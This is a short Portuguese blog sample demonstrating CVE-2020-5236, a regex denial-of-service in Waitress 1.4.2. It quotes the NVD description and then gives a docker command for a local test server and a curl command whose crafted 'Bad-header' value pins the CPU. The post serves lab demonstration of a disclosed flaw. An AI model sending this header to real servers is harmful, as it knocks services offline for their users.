
Waitress 1.4.2 ReDoS - CVE-2020-5236 (Código de Exemplo do Blog)
A versão 1.4.2 do Waitress permite um ataque de DoS quando o Waitress recebe um cabeçalho que contém caracteres inválidos. Quando um cabeçalho como "Bad-header: xxxxxxxxxxxxxxx\x10" é recebido, isso faz com que o mecanismo de expressão regular retroceda catastroficamente, fazendo o processo usar 100% de tempo de CPU e bloqueando qualquer outra interação. Isso permite que um atacante envie uma única requisição com um cabeçalho inválido e derrube o serviço.
por NVD
$ docker run --rm --name waitress -v "$PWD/src:/src" -p "8080:8080" -it python:3.7-slim python /src/server.py
$ curl "http://127.0.0.1:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"
Mostrar uso de cpu para o servidor. Execute "docker stats waitress".

↓ Executar PoC
